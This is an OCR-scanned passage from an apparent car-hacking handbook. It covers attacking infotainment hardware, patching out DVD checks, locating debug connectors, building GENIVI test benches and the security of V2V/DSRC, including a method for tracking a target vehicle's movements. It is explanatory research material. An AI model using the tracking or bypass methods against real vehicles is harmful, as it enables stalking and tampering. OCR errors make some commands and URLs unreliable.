because your car gets really hot during the day and you don’t want the DVD
to warp.

While an ordinary consumer isn’t likely to be able to bypass these DVD
checks, it would be possible to locate the DVD checks and replace them with
no-operation instructions (NOPs), which would make the checks literally do
nothing. Then you could upload this modified version of the DVD check to
your IVI and use your backup DVD for navigation.

All the backs mentioned so far can be done without removing the unit.
However, you could dig even deeper by taking the unit out and going after the
chips and memory directly, as discussed in Chapter 6.
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Attacking the IVI Hardware

If you’re more comfortable attacking hardware than software and you’re able
to remove the IVI from the target vehicle, you can go after the IVI system
hardware instead. For that matter, if you’ve had no luck accessing the IVI
system software, a hardware attack might provide additional insight that’ll
help you find a way in. You’ll sometimes find that you can access system
security keys by attacking the hardware when something like the update
method mentioned earlier fails.

Dissecting the IVI Unit’s Connections

If you’re unable to gain access to a vehicle’s system through the update
method discussed in the previous section, you can attack the IVI’s wiring and
bus lines. Your first step will be to remove the IVI unit and then trace the
wires back to the circuit board in order to identify its components and
connections, like the ones shown in Figure 9-4.
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Figure 9-4: Connector view of a double DIN IVI unit

When you take your IVI unit out, you’ll see a lot of wires because, unlike
aftermarket radios, OEM units are heavily connected to the vehicle. The
back metal panel on the IVI usually doubles as a heat sink, and each



connector is often separated by its functionality. (Some vehicles keep the
Bluetooth and cellular piece in another module, so if you’re looking to
research a wireless exploit and the IVI unit doesn’t have this wireless
module, continue looking for the telematics module.)

By tracing the actual wires or looking at a wiring diagram like the one
shown in Figure 9-5, you can see that the Bluetooth module is actually a
separate piece from the navigation unit (IVI). Notice in the diagram that the
Bluetooth unit uses CAN (B-CAN) on pin 18. If you look at the navigation
unit’s wiring diagram, you can see that instead of CAN, K-Line (pin 3) is
directly attached to the IVI unit. (We discussed these protocols in Chapter
2)
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If you can determine whether your target is connected to a network bus,



you’ll know just how much your exploit can control. At the very least, the
bus directly connected to the target can be influenced by any code you put
on the target system. For instance, in the wiring examples shown in Figure
9-5, a vulnerability in the Bluetooth module would give us direct CAN
access; however, if we exploited the IVI’s navigation system, we’d need to
use K-Line instead (see Figure 9-6). You can tell which network you have
access to by looking at the wiring diagram in Figure 9-5 and seeing whether
K-Line or CAN are connected to your target device. Which bus you’re on
will affect your payload and what networked systems you’ll be able to
influence directly.
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Figure 9-6: K-Line specified in the wiring diagram for the navigation unit

Disassembling the IVI Unit

If your goal is to directly attack the system hardware or if you don’t have a
wiring diagram showing the connections to the entertainment unit, you’ll
need to start taking the unit apart. Because IVI units are really compact and
they bundle a lot of functionality into a small area, taking them apart means
removing lots of screws and several layers of connected circuit boards. The
disassembly task is time consuming and complicated and should probably be
your last resort.

To begin disassembly, start by removing the case. Each unit comes apart
differently, but typically you can remove the front and back plate screws and
then work your way down from the top. Once inside, you’ll most likely find
a circuit board like the one shown in Figure 9-7.

Although the print on the circuit board is a little hard to read, you’ll



probably find that many of the pins are labeled. Pay close attention to any
connectors that are attached to the circuit board but not connected or that
are covered by the heat sink. You’'ll often find that certain connectors used
during the manufacturing process are left behind, disconnected on the
circuit board. These can be a great way in to the IVI unit. For example,
Figure 9-8 shows a hidden connector revealed once the back panel was
removed on the target IVIL.

Hidden connectors are a great place to start when going after a device’s
firmware. These connectors often have methods to load and debug the
firmware running on the systems, and they can also provide serial-style
debugging interfaces that you can use to see what’s happening with the
system. In particular, you should look for JTAG and UART interfaces.
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Figure 9-8: Nonexposed hidden connector

At this stage, you should start tracing the pins and looking at data sheets
for the onboard chips. After a bit of sleuthing as to where these pins connect,
you should have a better idea of what you’re dealing with and the intended
purpose of this hidden connector. (See Chapter 8 for more on analyzing
circuit boards and reverse engineering hardware.)

Infotainment Test Benches

Instead of tampering with your own factory-installed entertainment unit and
risking damage, you can experiment with a test bench system, whether that’s
one from a junkyard or an open source development platform. (Aftermarket
radios aren’t a good choice because they don’t usually tie into the CAN bus
network.) In this section, we’ll look at two open source entertainment
systems that you can run in a VM on a PC, the GENIVI demo platform, and
Automotive Grade, which requires an IVI.

GENIVI Meta-1VI
The GENIVI Alliance (bttp://www.genivi.org/) is an organization whose


http://www.genivi.org/

main objective is to drive the adoption of open source IVI software.
Membership is paid, but you can download and participate in the GENIVI
software projects for free. Membership, especially board-level membership,
in GENIVI is very costly, but you can join the mailing list to participate in
some of the development and discussions. The GENIVI system can be run
directly on Linux with no need for an IVI. It’s basically a collection of
components that you can use to build your own IVI.

In Figure 9-9, a high-level block diagram of the GENIVI system shows
how the pieces fit together.

The GENIVI demo platform has some basic human—machine interface
(HMI) functionality: the FSA PoC stands for fuel stop advisor proof-of-concept
(proof of concept because certain of these apps aren’t used in production).
The FSA is part of the navigation system and is designed to alert drivers if
they are going to run out of fuel before reaching their destination. The Web
browser and audio manager PoCs should be self-explanatory. Another
component not shown in the figure is the navigation app. This app is
powered by the open source Navit project (bttp://www.navit-project.org/) and
uses a plugin for the freely licensed OpenStreetMap mapping software
(bttps://www.openstreetnap.org/).

The GENIVI’s middleware components make up the core GENIVI
operating system, and they’re discussed here in the order in which they
appear in Figure 9-9 (persistency is excluded since there isn’t currently any
documentation on this module):

Diagnostic log and trace (DLT) An AUTOSAR 4.0—compatible
logging and tracing module. (Autosar is simply an automotive standards
group; see https://www.autosar.org/.) Some features of the DL'T can use
TCP/IP, serial communications, or standard syslog.

Node state manager (NSM) Keeps track of the vehicle’s running state
and is responsible for shutdown and for monitoring system health.

Node startup controller (NSC) Part of the NSM persistence. Handles

all data stored on a hard drive or flash drive.
Audio manager daemon The audio hardware/software abstraction layer.

Audio manager plugins Part of the audio manager daemon.

Webkit Web browser engine.


http://www.navit-project.org/
https://www.openstreetmap.org/
https://www.autosar.org/

Automotive message broker (AMB) Allows an application to access
vehicle information from the CAN bus without having to know the
specific CAN bus packet layouts. (The system you’re talking to must
support OBD or AMB directly in order for this to work.)
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Figure 9-9: GENIVI software layout

Building the Environment

The easiest way to build the GENIVI system on Linux is to use a Docker
image. First, grab the easy build like this:

S git clone https://github.com/gmacario/easy-build

s



This Docker image won’t work on the eCryptfs filesystem that Ubuntu uses on
home directories, so make sure to download and follow these instructions
outside your default home directory.

You’ll need Docker installed if you don’t already have it. On Ubuntu, this
command is:

S sudo apt-get install docker.io

Then, ca into the easy-build/build-yocto-genivi folder in your Home
directory and run this:

$ sudo docker pull gmacario/build-yocto-genivi
$ sudo ./run.sh

Docker builds a little VM for you to work in, and running run.sh should
put you in a root terminal environment in the Docker instance.

Now, finish the install by getting the rest of the GENIVI build and

creating an image that you can use in the QEMU VM. Run the following
commands:

chmod a+w /dev/shm

chown build.build ~build/shared

su - build

export GENIVI=~/genivi-baseline

source $GENIVI/poky/oe-init-build-env ~/shared/my-genivi-build
export TOPDIR=$PWD

sh ~/configure_build.sh

cd $TOPDIR

bitbake -k intrepid-image

U U U U U Uy F o 3

The output of the final pitbake command should look something like
this:

Build Configuration:

BB_VERSION = "1.24.0"

BUILD SYS = "x86_64-1inux"
NATIVELSBSTRING = "Ubuntu-14.04"
TARGET _SYS = "i586-poky-linux"
MACHINE = "gemux86"

DISTRO = "poky-ivi-systemd"
DISTRO_VERSION = "7.0.2"
TUNE_FEATURES = "m32 i586"
TARGET_FPU = ""



meta

meta-yocto

meta-yocto-bsp = "

(detachedfromdf87cb2) :df87cb27efeaecald55£20692£9£f1397c6fcab254"
meta-ivi

meta-ivi-bsp = "

(detachedfrom7.0.2) :54000a206e4df4d5a94db253d3cb8a9f79ed4alae"
meta-oe = "

(detachedfrom9efaed9) :9efaed99125b1c4324663d9al1b2d3319c74e7278"

As of this writing, the build process errors out on fetching the Bluez

package.

Remove the following file, and try pitbake again:

S rm /home/build/genivi-baseline/meta-ivi/meta-ivi/recipes-
connectivity/bluez5/bluez5_%.bbappend

Once everything is finished, you should have images in your tmp/deploy/
images/qemux86/ folder.

Now you’re ready to run your image in an emulator. For ARM
emulation, run this:

S $GENIVI/meta-ivi/scripts/rungemu horizon-image vexpressa9

For x86, use this command:

S $GENIVI/poky/scripts/rungemu horizon-image gemux86

And this command is for x86-64:

S $GENIVI/poky/scripts/rungemu horizon-image gemux86-x64

You should now be ready to research a GENIVI-based IVI system. As
you’ve seen, the steps can be a bit daunting. The most difficult part of
working on GENIVI is getting it up and running. Once you have a system
to look at, you can pick any executable to begin your security audit.

Automotive Grade Linux

Automotive Grade Linux (AGL) is an IVI system that you can run on a
physical IVI unit. Unlike GENIVI, AGL doesn’t have a costly board
structure. AGL’s goals are similar to those of GENIVI: it’s trying to build an



open source IVI unit as well as other related parts, such as telematics and
instrument clusters.

As of this writing, you should be able to find a demo image of AGL for
VMware (last released in 2013), installation instructions, and a bootable
USB version for x86 at the AGL website (bttp://automotivelinux.org/). These
images are designed to run on in-vehicle computer hardware, like the
Nexcom VT C-1000, a headless Linux device that comes with CAN and
touchscreens. Unlike the GENIVI project, the AGL demonstration images
are mainly designed and tested to run on hardware, although it may be
possible to run some development images in a VM.

As you can see in Figure 9-10, the AGL demonstration image has a very
pretty interface, but don’t expect all applications to run smoothly, as many
are simply placeholders that are actively being built. Because AGL is
normally tested on physical hardware, you’ll have to spend around $1,000 to
get the hardware necessary to install AGL smoothly. It’s also possible to get
an image to run on a QEMU VM as well. (One nice thing about buying a
development IVI is that you can program it to work with any vehicle.)


http://automotivelinux.org/
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Figure 9-10: Automotive Grade Linux sample screens

Acquiring an OEM IVI for Testing

If you decide to run a physical IVI unit for testing, you’ll have to either pull
a factory (OEM) IVI system from an existing vehicle or buy a development
IVI, such as the Nexcom VTC-1000 or a model like those referenced in the
Tizen hardware compatibility list
(bttps://wiki.tizen.org/wiki/IVI/IVI_Platforms).

If you choose to go the OEM factory-installed route, you can buy one
from the dealership or pull one from a junkyard. Development and OEM
IVI units purchased directly from a dealership will typically run from $800
to $2,000, so it’s much more cost-effective to pull one from a junkyard,
though it may be difficult to find your target high-end IVI system. You can
also buy non-OEM aftermarket units, such as Kenwood or Pioneer, which—
while often cheaper—typically won’t tie into a vehicle’s CAN system.

Unfortunately, pulling a radio out of a modern vehicle without destroying


https://wiki.tizen.org/wiki/IVI/IVI_Platforms

it isn’t an easy task. You’'ll often need to remove the plastic around the gauge
cluster on the dashboard and the plastic around the radio before you can
remove the radio from its harness. If you run into an antitheft security code
for the radio, check the owner’s manual for the code, if you’re lucky enough
to find that. If you can’t find the code, be sure to grab the VIN from the
donor vehicle because you might need it to get or reset the antitheft PIN. (If

you grabbed the ECU from the vehicle, remember you can query that to get
the VIN as well.)

You’ll need to refer to the wiring diagram for your IVI system in order to
get it to start on its own, but you can leave out most of the wires that you’re
not testing. If you’re building an OEM-based unit, it may be worth your
while to completely disassemble the unit and to connect any test connectors
so that you’ll not only have the normal IVI system running but also be able
to access any of the hidden connectors.

Summary

You should now be comfortable analyzing your existing radio system. We’ve
covered how to safely work in a VM or test environment to find
vulnerabilities in IVI systems. These systems hold a lot of code and are the
most powerful electronic systems in a vehicle. Mastery of the IVI units will
give you full control of your target, and there’s no part of a vehicle with a
greater concentration of attack surface than the IVI system. When
performing security research, an IVI and telematics system will provide you
with the most valuable vulnerabilities, and you’ll find that the vulnerabilities
found in these systems will often be remote or wireless and directly
connected to the vehicle’s bus lines.
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VEHICLE-TO-VEHICLE COMMUNICATION

The latest trend in vehicle technology is vebicle-to-vehicle (V2V)
communication—or in the case of vehicles communicating with roadside
devices, vebicle-to-infrastructure (V21) communication. V2V communication is
primarily designed to communicate safety and traffic warnings to vehicles
through a dynamic mesh network between vehicles and roadside devices
called the intelligent transportation system. This mesh connects various nodes
—vehicles or devices—in the network and relays information between them.

The promise of V2V is so great that in February 2014 the US
Department of Transportation announced its desire to implement a mandate
requiring that V2V-based communication be included in all new light
vehicles, though as of this writing nothing has been finalized.

V2V is the first automotive protocol to consider cybersecurity threats at
the design stage, rather than after the fact. The details of V2V
implementation and interoperation between countries are still being
determined, so many processes and security measures are still undecided.
Nevertheless, in this chapter, we’ll review the current design considerations
in an attempt to offer guidelines for what to expect. We’ll detail the thinking
behind different approaches and discuss the types of technologies likely to be
deployed in the V2V space. We’ll also discuss several protocols used in V2V
communications and the types of data they’ll transmit, and we’ll review



V2V’s security considerations as well as areas for security researchers to
focus on.

Because this chapter focuses on a technology yet to be implemented, we won’t
cover the reasons behind various features, nor will we discuss the ways that
manufacturers can implement each feature because all of that detail is subject
to change.

Methods of V2V Communication

In the world of V2V communication, vehicles and roadside devices interact
in one of three ways: via existing cellular networks; using dedicated short-range
communication (DSRC), which is a short-range communication protocol; or
via a combination of communication methods. In this chapter we’ll focus on

DSRC, as it’s the most common method of V2V communication.

Cellular Networks

Cellular communication doesn’t require roadside sensors, and existing
cellular networks already have a security system in place, so
communication can rely on security methods provided by the cellular
carriers. The security provided by cellular networks is at the wireless
level (GSM), not the protocol level. If the connected device is using IP
traffic, then standard IP security, such as an encryption and reduction of
attack surfaces, still needs to be applied.

DSRC

DSRC requires the installation of specialized equipment in modern
vehicles and new roadside equipment. Because DSRC is designed
specifically for V2V communication, security measures can be
implemented prior to widespread adoption. DSRC is also more reliable
than cellular communication, with lower latency. (See “The DSRC
Protocol” on page 179 for more on DSRC.) Hybrid

The hybrid approach combines cellular networks with DSRC, Wi-Fj,
satellite, and any other communication that makes sense, such as future
wireless communication protocols.



In this chapter, we’ll focus on DSRC because it’s unique to the V2V
infrastructure. The DSRC protocol will be the main protocol deployed
by V2V, and you may see it mixed with other communication methods.

You can use traditional methods to analyze communication, such as cellular,
Wi-Fi, satellite, and so on. Evidence of these signals communicating doesn’t
necessarily mean the vehicle is using V2V communication. However, if you see
DSRC being transmitted, you’ll know that V2V bas been implemented in that
vebicle.

FUN WITH V2V ACRONYMS

The auto industry loves acronyms as much as any government does,
and V2V is no exception. In fact, the lack of any universal V2V
standard between countries means that the world of V2V acronyms can
be especially messy because there’s little consistency and a good dose of
confusion. To help you out, here are some acronyms that you’ll run
into when researching V2V-related topics: ASD Aftermarket safety
device

DSRC Dedicated short-range communication
OBE Onboard equipment
RSE Roadside equipment

SCMS Security Credentials Management System V21, C2I Vehicle-
to-infrastructure, or car-to-infrastructure (Europe) V2V, C2C
Vehicle-to-vehicle, or car-to-car (Europe) V2X, C2X Vehicle-to-
anything, or car-to-anything (Europe) VAD Vehicle awareness device
VII, I'TS Vehicle infrastructure integration, intelligent transportation
system WAVE Wireless access for vehicle environments WSMP
WAVE short-message protocol




The DSRC Protocol

DRSC is a one- or two-way short-range wireless communication system
specifically built for vehicle communications between vehicles and roadside
devices, or from vehicle to vehicle.

DSRC operates in the 5.85 to 5.925 GHz band reserved for V2V and
V2I. The transmit power used by a DSRC device will dictate its range.
Roadside equipment can transmit at higher-power ranges, allowing up to a
1,000 m specification, while vehicles can broadcast only at a power level that
provides closer to 300 m ranges.

DSRC is based on the wireless 802.11p and 1609.x protocols. DSRC-and
Wi-Fi-based systems, such as wireless access for vehicle environments
(WAVE), use IEEE 1609.3 specification or the WAVE short-message
protocol (WSMP). These messages are single packets with no more than
1,500 bytes and typically less than 500 bytes. (Network sniffers such as
Wireshark can decode WAVE packets, which allows for easy sniffing of
traffic.) DSRC data rates depend on the number of users accessing the local
system at the same time. A single user on the system would typically see data
rates of 6 to 12Mbps, while users in a high-traffic area—say, an eight-lane
freeway—would likely see 100 to 500Kbps. A typical DSRC system can
handle almost 100 users in high-traffic conditions, but if the vehicles are
traveling around 60 km/h, or 37 mph, it'll usually support around only 32
users. (These data rates are estimated from the Department of
Transportation’s paper “Communications Data Delivery System Analysis for

Connected Vehicles.”!) The number of channels dedicated to the 5.9 GHz
range of the DSRC system varies between countries. For example, the US
system is designed to support seven channels with one channel that acts as a
dedicated control channel reserved for sending short high-priority
management packets. The European design supports three channels with no
dedicated control channel. This disparity is largely due to the fact that each
country has different drivers for the technology: Europe’s system is market
driven, while the US system has a strong vehicle safety initiative behind it.
Therefore, while the protocols will interoperate, the types of messages
supported and sent will differ significantly. (In Japan, DSRC is currently
being used for toll collection, but the Japanese are also planning to use a 760
MHz band for crash avoidance. The Japanese 5.8 GHz channels don’t use
802.11p, but they should still support the 1609.2 V2V security framework.)



While both Europe and the United States use §02.11p with ECDSA-256
encryption, the two systems are not 100 percent compatible. As of this writing,
they incorporate various technical differences, such as where the signing stack is
placed in the packet. There’s no good technical reason for this lack of
standardization, so this will hopefully be fixed before widespread adoption.

Features and Uses

All DSRC implementations offer convenience and safety features, but their
features differ. For example, the European DSRC system will use DSRC for
the following: Car sharing Would work like today’s vehicle sharing, such as
car2go, except that instead of using a third-party vehicle dongle attached to
the OBD-II connector to control the vehicle, it would use the V21 protocols
Connections to points of interest Similar to the points of interest, such as
restaurants or gas stations, in a traditional navigation system but would be
broadcast to passing vehicles Diagnostics and maintenance Would report
the reason why a vehicle’s engine light is on via DSRC instead of having to
read codes from an OBD connector Driving profiles for insurance
purposes Would replace insurance-style dongles that record driving
behavior Electronic toll notification Would allow for automated payments
at toll booths (already being tested in Japan) Fleet management Would
allow for the monitoring of fleets of vehicles, such as those used for trucking
and transportation services Parking information Would record duration of
parking and could displace traditional parking meters Security-driven areas
like the United States are more concerned with communicating warnings
about things like the following: Emergency vehicles approaching Would
notify vehicles of an approaching emergency vehicle Hazardous locations
Would warn drivers of hazards, such as an icy bridge or road surface, or
falling rocks Motorcycle approaches Would signal the approach of a
passing motorcycle Road works Would notify drivers of upcoming
construction Slow vehicles Would provide early notification of traffic
congestion or traffic slowdowns due to slow-moving farm or oversized
vehicles Stationary (crash) vehicles Would warn of vehicles that have
broken down or were in a recent collision Stolen vehicle recovery Might
work similarly to a LoJack-like service in that it would allow law



enforcement to locate a stolen vehicle based on a radio beacon Additional
types of communication categories that could be implemented via DSRC
include traffic management; law enforcement, such as communicating speeds
or tracking vehicles; driver assistance, such as parking assistance or lane
guidance; and highway automation projects, such as self-driving vehicles that
use V21 roadways to assist in guidance.

Roadside DSRC Systems

Roadside DSRC systems are also used to pass standardized messages and
updates to vehicles with information such as traffic data and hazard or road
works warnings. The European T'elecommunications Standards Institute
(ETSI) has designed two formats for continuous traffic data, both of which
use 802.11p: the cooperative awareness message (CAM) and the
decentralized environmental notification message (DENM).

CAMs for Periodic Vehicle Status Exchanges

CAMs are broadcast periodically through the V2X network. ETSI defines
the packet size of a CAM as 800 bytes and the reporting rate at 2 Hz. This
protocol is still in its preliminary stages. If you encounter CAMs in the
future, they may vary from the proposal, but we’re including the current
proposed characteristics to give you a sense of what you can expect from the

CAM protocol in the future.

CAM packets consist of an I'TS PDU header and station ID as well as one
or more station characteristics and vehicle common parameters.

Station characteristics may include the following: ® Mobile I'TS station
* Physical relevant I'TS station
® Private I'TS station
* Profile parameters

* Reference position

Vehicle common parameters may consist of the following:
* Acceleration

e Acceleration confidence



* Acceleration controllability

* Confidence ellipse

* Crash status (optional)

® Curvature

* Curvature change (optional)

* Curvature confidence

* Dangerous goods (optional)

* Distance-to-stop line (optional)
* Door open (optional)

* Exterior lights

* Heading confidence

® Occupancy (optional)

* Station length

* Station-length confidence (optional)
* Station width

* Station-width confidence (optional)
* T'urn advice (optional)

* Vehicle speed

* Vehicle-speed confidence

* Vehicle type

® Yaw rate

¢ Yaw rate confidence

Although some of these parameters are marked as optional, they’re
actually mandatory in certain situations. For example, a basic vehicle profile
—station ID of 111 in binary—must report crash status and whether the
vehicle is carrying dangerous goods, if known. An emergency vehicle—
station ID of 101 in binary—must report whether its lights and sirens are in
use. Public transportation vehicles—station ID also 101—are required to



report when their entry door is open or closed and may also report schedule
deviation and occupancy count.

DENMs for Event-Triggered Safety Notifications

DENMs are event-driven messages. While CAMs are periodically sent so
that they’re regularly updated, DENM:s are triggered by safety and road
hazard warnings. Messages might be sent in cases of: ® Collision risks
(determined by roadside devices)

* Entering hazardous locations
* Hard braking

* High wind levels

* Poor visibility

® Precipitation

* Road adhesion

* Road work

* Signal violations

* T'raffic jams

* Vehicles involved in an accident
* Wrong-way driving

These messages stop either when the condition that triggered them is
gone or after a set expiry period.

DENMs can also be sent to cancel or negate an event. For instance, if
roadside equipment identified that a vehicle was going the wrong way down
a street, it could send an event to notify nearby drivers. Once that driver had
moved the vehicle into the proper lane, the equipment could send a cancel
event to signal that the risk had passed.

Table 10-1 shows the packet structure and byte position of a DENM
packet.

Table 10-1: Packet Structure and Byte Position of a DENM Packet




Container Name Byte start Byte end Notes
position  position

I'TS Header Protocol 1 1 I'TS Version
Version
Message ID 2 2 Message Type
Generation 3 8 Timestamp
Time
ManagementOriginator ID 9 12 I'TS Station ID
Sequence 13 14
Number
Data Version 15 15 255 = Cancel
Expiry Time 16 21 Timestamp
Frequency 21 21 Transmission
Frequency
Reliability 22 22 Probability event is
true. Bit 1..7
IsNegation 22 22 == Negate. Bit 0
Situation  CauseCode 23 23
SubCauseCode 24 24
Severity 25 25
Location Latitude 26 29
Longitude 30 33
Altitude 34 35
Accuracy 36 39
Reserved 40 n Variable size

There are optional messages as well. For example, the situation container
could include TrafficFlowEffect, LinkedCause, EventCharacteristics,
VehicleCommonParameters, and ProfileParameters, jUSt as in the CAN
structure.



WAVE Standard

The WAVE standard is a DSRC-based system used in the United States for

vehicle packet communication. The WAVE standard incorporates the
802.11p standard as well as the range of 1609.x standards across the OSI

model. The purposes of these standards are as follows: 802.11p Defines the
5.9 GHz WAVE protocol (a modification of the Wi-Fi standard); also has
random local MAC addressing 1609.2 Security services

1609.3 UDP/TCP IPv6 and LLC support
1609.4 Defines channel usage
1609.5 Communication manager

1609.11 Over-the-air electronic payment and data exchange protocol
1609.12 WAVE identifier

To explore the WAVE standard in more detail, you can use the OSI numbers
in the preceding list to pull up the relevant reference documentation online.

WSMP is used in both service and control channels. WAVE uses IPv6,
the most recent Internet protocol, for service channels only. IPv6 is
configured by the WAVE management entity (WME) and also handles
channel assignments and monitors service announcements. (I'he WME is
unique to WAVE and handles the overhead and maintenance of the
protocol.) Control channels are used for service announcements and short
messages from safety applications.

WSMP messages are formatted as shown in Figure 10-1.

WSMP PSID Channel Data Transmission| WAVE WAVE WSMP
Version Number Rate Power Element ID Length Data

Figure 10-1: WSMP message format

The type of application provided by a roadside device, or hosted by a
vehicle, is defined by the provider service identifier (PSID). The actual
announcement of a service comes from a WAVE service announcement



(WSA) packet, the structure of which is shown in Table 10-2.

Table 10-2: WAVE Service Announcement Packet

Section

Elements

WSA header

Service Info

Channel Info

WAVE version
EXT Fields

WAVE Element ID
PSID

Service Priority
Channel Index
EXT Fields

WAVE Element
Operating Channel
Channel Number
Adaptable

Data Rate
Transmit Power

EXT. Fields

WAVE Routing Advertisement WAVE Element

Router Lifetime
IP Prefix

Prefix Length
Default Gateway
Gateway MAC
Primary DNS
EXT. Fields

If the vehicle’s PSID matches that of an advertised PSID, the vehicle will

begin communications.

Tracking Vehicles with DSRC

One attack that utilizes DSRC communications is vehicle tracking. If
attackers can create their own DSRC receiver by buying a DSRC-capable
device or using software-defined radio (SDR), they could receive



information about vehicles within the receiver’s range—such as the size,
location, speed, direction, and historical path up to the last 300 m—and use
this information to track a target vehicle. For example, if an attacker knew
the make and model of a target vehicle and the size of the target, they could
set up a receiver near the target’s home to remotely detect when the target
moves out of range of the DSRC receiver. This would tell the attacker when
the owner had left their house. This method would allow an attacker to
continue to track and identify vehicle activity despite the owner’s attempts to
obscure identifying information.

Information on vehicle size is transmitted in the following four fields: ®
Length

* Body width
* Body height
* Bumper height (optional)

This information should be accurate to within a fraction of an inch
because it’s set by the manufacturer. The attacker could use this size
information to accurately determine the make and model of a car. For
instance, Table 10-3 lists the dimensions for a Honda Accord.

Table 10-3: Honda Accord Dimensions

Length Body width Body height Bumper height
191.4 inches 72.8 inches 57.5 inches 5.8 inches

Given these dimensions and a bit more information, such as the estimated
time a target might pass a sensor, an attacker could determine whether a
target has passed a sensor and track that target.

Security Concerns

There are other attack potentials in the implementation of V2V, as was
investigated by the Crash Avoidance Metrics Partnership (CAMP), a group
of several auto manufacturers working to conduct different safety-related
studies, in December of 2010. CAMP performed an attack analysis on V2V
systems through its Vehicle Safety Consortium (VSC3). The analysis



focused primarily on the core DSRC/WAVE protocol, and attempted to
match attacker objectives with potential attacks. Figure 10-2 shows a
summary of the consortium’s findings by attacker objective.

Attacker Objectives
01.1|01.2|01.3|01.4|01.5| 016|017

Identify a particular driver

or track their route
Falsely accuse/report

Conceal bad driving
misbehavior

Cavuse an accident
Cause congestion
Cause a driver to
change their route
Erode user’s faith
in the system
behavior

Cause a false positive to be
presented to a driver

A2.1

>
et
=
et

Suppress a message that should
A2.2 | be presented to the driver [i.e., X X X X X
cause a false negative)

Cause the system to be made

A23 unreliable, unknown to the driver X X X X
Cause the system to be made

s vnreliable, Znown to the driver X X X X

Collect a set of messages from
A2.5 | other vehicles and use them to X
identify a particular vehicle/driver

Attacks

Prevent the attacker’s own
A2.6 2 -
vehicle from sending o message

Create messages that will be
A2.7 | altributed by the system to o X
vehicle that did not send them

Create messages from “ghost”
vehicles to moke a target's
behavior seem more dangerous
A2.8 | than itis, or the attacker’s X X
behavior seem safer than it is,
from the point of view of an
authority reviewing the record

Figure 10-2: Attacker objectives crossed with attacks

This table shows some of the goals a malicious actor may have when
attacking V2V systems and the types of attacks they might launch in order to



achieve those objectives. The top columns of the chart define an attacker’s
possible objectives and the areas they might focus on. The chart is rather
simplistic but might give you some idea as to which areas to research further.

PKI-Based Security Measures

While much of the technology and security behind V2V is still being ironed
out, we do know that the security for cellular, DSRC, and hybrid
communications is based on a public key infrastructure (PKI) model much
like the SSL. model on websites. By generating public and private key pairs,
PXI systems allow users to create digital signatures for use in encrypting and
decrypting documents sent over networks. Public keys can be openly
exchanged and are used to encrypt data between destinations. Once
encrypted, only private keys can be used to decrypt the data. The data is
signed with the sender’s private key in order to verify its origin.

PXT uses public key cryptography and central certificate authorities (CAs)
to validate public keys. The CA is a trusted source that can hand out and
revoke public keys for a given destination. The V2V PKI system is
sometimes also referred to as the Security Credentials Management System
(SCMS).

For a PKI system to function, it must enforce the following:
Accountability Identities should be verifiable using trusted signatures.

Integrity Signed data must be verifiable to make sure that it hasn’t been
altered in transit.

Nonrepudiation Transactions must be signed.
Privacy Traffic must be encrypted.
Trust The CA must be trusted.

V2V and V2I systems rely on PKI and a CA to secure data transmission,
though the identity of the CA has yet to be determined. This is the same
system that your browser uses on the Internet. On your browser’s Settings
screen, you should find a HTI'TPS/SSL section listing all authorized root
authorities. When you buy a certificate from one of these CAs and use it on
a web server, other browsers will verify this certificate against the CA to
ensure it’s trusted. In a normal PKI system, the company that set up the



environment controls the CA, but in V2V, government groups or countries
will likely control the CA.

Vehicle Certificates

The PKI systems used to secure today’s Internet communication have large
certificate files, but due to limited storage space and the need to avoid
congestion on the DSRC channels, vehicle PKI systems require shorter keys.
To accommodate this need, vehicle PKI systems use elliptical curve
cryptography (ECDSA-256) keys, which generate certificates that are one-
eighth the size of Internet certificates.

The vehicles participating in V2V communication use two types of
certificates: Long-term certificate (L'TC)

This certificate contains vehicle identifiers and can be revoked. It’s used
to get short-term certificate refills.

Short-term, pseudonym certificate (PC)

This certificate has a short expiry time and, therefore, doesn’t need to
be revoked because it simply expires. It’s used for anonymous transfers,
which are designed for common messages like braking or road
conditions.

Anonymous Certificates

PXI systems are traditionally set up to identify the sender, but with
information being broadcast to unknown vehicles and devices, it’s important
to ensure that V2V systems don’t send information that can be traced back,
such as packets signed by the source.

For that reason, there’s a provision in the V2V spec that allows you to
sign packets anonymously, with only enough information to show that the
packet came from a “certified terminal.” Though this is more secure than
sending packets signed by the author, it would still be possible for someone
to examine the anonymous certificate signature on a given route and
determine the route that vehicle is traveling (in the same way that you might
use the unique ID transmitted from a tire pressure monitor sensor to track a
vehicle’s progress). To compensate for this, the spec states that the device
should use short-lived certificates that will last for only five minutes.



Currently, however, the systems being developed are planning to use 20
or more certificates that are all simultaneously valid with a lifetime of a
week, which could prove to be a security flaw.

Certificate Provisioning

Certificates are generated through a process called certificate provisioning.
V2V systems use a lot of short-term certificates, which need to be
provisioned on a regular basis in order to replenish a device’s certificates so
that it can use them for anonymous messaging. The full details of how

privacy works in V2V certificate systems is actually quite complicated, as the
CAMP diagram in Figure 10-3 shows.

Prepare yourself for a lot of larvae references—as in caterpillar, cocoon,
and butterfly—as we review how the certificate-provisioning process works:

1. First, the device—that is, the vehicle—generates what’s known as a
“caterpillar” keypair, which sends the public key and an Advanced
Encryption Standard (AES) expansion number to the Registration
Authority (RA).

2. The RA generates a bunch of what are known as “cocoon” public keys
from the caterpillar public key as well as the expansion number. These
become new private keys. The number of keys is arbitrary and not
correlated with the device requesting the keys. (As of this writing, the
request includes some ID information from the linkage authorities and
should shuftle the request with requests from other vehicles. This
shuffling is designed to help obscure which vehicle made each request in
an attempt to improve privacy.)

3. The Pseudonym Certificate Authority (PCA) randomizes the cocoon
keys and generates the “butterfly” keys. These are then returned to the
originating device over an encrypted channel so the RA can’t see the
contents.
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Figure 10-3: Certificate-provisioning flow graph

In theory, the originating device can request enough short-term keys to
last the vehicle’s lifetime, which is why the certificate revocation list (CRL)is
important. If a vehicle has one month’s worth of certificates, it won’t check
for new updates until that month is up, so a bad actor can continue to
communicate with this vehicle until there’s an update. If the vehicle has a
year’s worth or more of certificates and no CRL functionality, then things
can get real bad real fast because it won’t be able to identify bad actors.

Notice the location obscurer proxy (LOP) in the certificate-provisioning chart.
This is a filter to remove identifiable information, such as location, from the
request. A request should get through an LOP before the RA sees it.




Updating the Certificate Revocation List

The CRL is a list of “bad” certificates. Certificates sometimes go bad
because they’re compromised by an attacker or lost by their owner or
because a device is misbehaving for some reason that the CA considers
detrimental. A device must update its CRL so that it can determine which
certificates, if any, are no longer trustworthy.

The CRL can be large, and it isn’t always feasible to download the entire
list through DSRC or opportunistic Wi-Fi. Therefore, most systems will
implement an incremental update period, which the manufacturer decides,
but even that can cause issues. DSRC requires roadside devices to send the
list, but in order to receive large chunks of data, the vehicle must travel past
